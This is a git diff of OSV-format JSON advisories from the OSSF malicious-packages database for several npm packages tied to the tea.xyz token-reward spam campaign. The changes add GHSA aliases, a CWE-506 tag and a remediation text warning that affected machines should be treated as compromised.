Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abina-amugmi-amm/MAL-2025-151392.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-4gr2-c235-xq3h"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:29:11.544738293Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"3f5f0c46f9886f2bb5d1f446801b932f1a5c1b9e0de8c3323a2d3110d73af162","source":"amazon-inspector"},{"id":"GHSA-4gr2-c235-xq3h","import_time":"2026-11-19T23:17:31.039062095Z","modified_time":"2026-11-19T23:07:56Z","sha256":"8c858968b4ca42b79b3678b73594151596dc5a3a5754e1f17909be2bef595d98","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
|
||||
@@ -1 +1 @@
|
||||
{"schema_version":"1.7.3","id":"MAL-2025-151669","published":"2025-11-12T16:47:05Z","modified":"2025-11-12T16:47:05Z","summary":"Malicious code in abyikula-nioybnali-lauykia (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (e8bc386f9b02097a5cb9efb1ff42962421548df310bfc901ac1624872014e88e)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"abyikula-nioybnali-lauykia","ecosystem":"npm","purl":"pkg:npm/abyikula-nioybnali-lauykia"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abyikula-nioybnali-lauykia/MAL-2025-151669.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:19:19.243777326Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"e8bc386f9b02097a5cb9efb1ff42962421548df310bfc901ac1624872014e88e","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
|
||||
{"schema_version":"1.9.2","id":"MAL-2025-151669","published":"2025-11-12T16:47:05Z","modified":"2026-11-19T23:30:06.649809864Z","aliases":["GHSA-f488-9hp8-qv8h"],"summary":"Malicious code in abyikula-nioybnali-lauykia (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (e8bc386f9b02097a5cb9efb1ff42962421548df310bfc901ac1624872014e88e)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (34fe5bed36b16d052cf5421a4879389cc6311261b81f72e21c5e75f218aebb01)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"abyikula-nioybnali-lauykia","ecosystem":"npm","purl":"pkg:npm/abyikula-nioybnali-lauykia"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.1.3"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abyikula-nioybnali-lauykia/MAL-2025-151669.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-f488-9hp8-qv8h"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:19:19.243777326Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"e8bc386f9b02097a5cb9efb1ff42962421548df310bfc901ac1624872014e88e","source":"amazon-inspector"},{"id":"GHSA-f488-9hp8-qv8h","import_time":"2026-11-19T23:17:31.067146357Z","modified_time":"2026-11-19T23:11:21Z","sha256":"34fe5bed36b16d052cf5421a4879389cc6311261b81f72e21c5e75f218aebb01","source":"ghsa-malware","versions":["1.1.3"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
|
||||
@@ -1 +1 @@
|
||||
{"schema_version":"1.7.3","id":"MAL-2025-151674","published":"2025-11-12T16:47:05Z","modified":"2025-11-12T16:47:05Z","summary":"Malicious code in abyil-nionai-lasuk (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (b26a857d83c5e972daa63630bb53eb230d18c82fd32695fc2cd27f3b20b7cba2)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"abyil-nionai-lasuk","ecosystem":"npm","purl":"pkg:npm/abyil-nionai-lasuk"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abyil-nionai-lasuk/MAL-2025-151674.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:08:18.44014112Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"b26a857d83c5e972daa63630bb53eb230d18c82fd32695fc2cd27f3b20b7cba2","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
|
||||
{"schema_version":"1.9.2","id":"MAL-2025-151674","published":"2025-11-12T16:47:05Z","modified":"2026-11-19T23:30:06.684959654Z","aliases":["GHSA-p98v-v2hr-rrxr"],"summary":"Malicious code in abyil-nionai-lasuk (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (b26a857d83c5e972daa63630bb53eb230d18c82fd32695fc2cd27f3b20b7cba2)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (aa666a6c90a620107b31699fc092644ee7e0daac4da2fee4533764981156274d)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"abyil-nionai-lasuk","ecosystem":"npm","purl":"pkg:npm/abyil-nionai-lasuk"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.3.3"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abyil-nionai-lasuk/MAL-2025-151674.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-p98v-v2hr-rrxr"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:08:18.44014112Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"b26a857d83c5e972daa63630bb53eb230d18c82fd32695fc2cd27f3b20b7cba2","source":"amazon-inspector"},{"id":"GHSA-p98v-v2hr-rrxr","import_time":"2026-11-19T23:17:31.080976677Z","modified_time":"2026-11-19T23:14:02Z","sha256":"aa666a6c90a620107b31699fc092644ee7e0daac4da2fee4533764981156274d","source":"ghsa-malware","versions":["1.3.3"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
|
||||
@@ -1 +1 @@
|
||||
{"schema_version":"1.7.3","id":"MAL-2025-151701","published":"2025-11-12T16:47:05Z","modified":"2025-11-12T16:47:05Z","summary":"Malicious code in aciaiaggu-idat-gfda (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (70a85fa1a2ca01f9d125e041d2c5d9b083a7f5b90625ee8aadd10b0e4309beee)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"aciaiaggu-idat-gfda","ecosystem":"npm","purl":"pkg:npm/aciaiaggu-idat-gfda"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/aciaiaggu-idat-gfda/MAL-2025-151701.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:15:16.893264513Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"70a85fa1a2ca01f9d125e041d2c5d9b083a7f5b90625ee8aadd10b0e4309beee","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
|
||||
{"schema_version":"1.9.2","id":"MAL-2025-151701","published":"2025-11-12T16:47:05Z","modified":"2026-11-19T23:30:06.664845693Z","aliases":["GHSA-g682-2jxm-42xh"],"summary":"Malicious code in aciaiaggu-idat-gfda (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (70a85fa1a2ca01f9d125e041d2c5d9b083a7f5b90625ee8aadd10b0e4309beee)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (47e955821188d5b79b659d8b3424ebfb07fe7a177bca231c3f9c2558a3ecf8ac)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"aciaiaggu-idat-gfda","ecosystem":"npm","purl":"pkg:npm/aciaiaggu-idat-gfda"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.1.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/aciaiaggu-idat-gfda/MAL-2025-151701.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-g682-2jxm-42xh"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:15:16.893264513Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"70a85fa1a2ca01f9d125e041d2c5d9b083a7f5b90625ee8aadd10b0e4309beee","source":"amazon-inspector"},{"id":"GHSA-g682-2jxm-42xh","import_time":"2026-11-19T23:17:31.070477013Z","modified_time":"2026-11-19T23:16:25Z","sha256":"47e955821188d5b79b659d8b3424ebfb07fe7a177bca231c3f9c2558a3ecf8ac","source":"ghsa-malware","versions":["1.1.2"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
|
||||
@@ -1 +1 @@
|
||||
{"schema_version":"1.7.3","id":"MAL-2025-170645","published":"2025-11-12T18:00:57Z","modified":"2025-11-12T18:00:57Z","summary":"Malicious code in abukhalid (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (5e513721be6c36fda58901da21dcb861b85f9da5a375f93a42464d3e85d29896)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"abukhalid","ecosystem":"npm","purl":"pkg:npm/abukhalid"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abukhalid/MAL-2025-170645.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:11:07.382590871Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"5e513721be6c36fda58901da21dcb861b85f9da5a375f93a42464d3e85d29896","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
|
||||
{"schema_version":"1.9.2","id":"MAL-2025-170645","published":"2025-11-12T18:00:57Z","modified":"2026-11-19T23:30:06.646556179Z","aliases":["GHSA-v56h-584w-6f7p"],"summary":"Malicious code in abukhalid (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (5e513721be6c36fda58901da21dcb861b85f9da5a375f93a42464d3e85d29896)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (0bdcb033bce76b91f9008712c9a55d7578a0238178fd9030ee6efa52b94990dc)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"abukhalid","ecosystem":"npm","purl":"pkg:npm/abukhalid"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abukhalid/MAL-2025-170645.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-v56h-584w-6f7p"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:11:07.382590871Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"5e513721be6c36fda58901da21dcb861b85f9da5a375f93a42464d3e85d29896","source":"amazon-inspector"},{"id":"GHSA-v56h-584w-6f7p","import_time":"2026-11-19T23:17:31.090729364Z","modified_time":"2026-11-19T23:09:37Z","sha256":"0bdcb033bce76b91f9008712c9a55d7578a0238178fd9030ee6efa52b94990dc","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
|
||||
Loaded 100 of 113 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user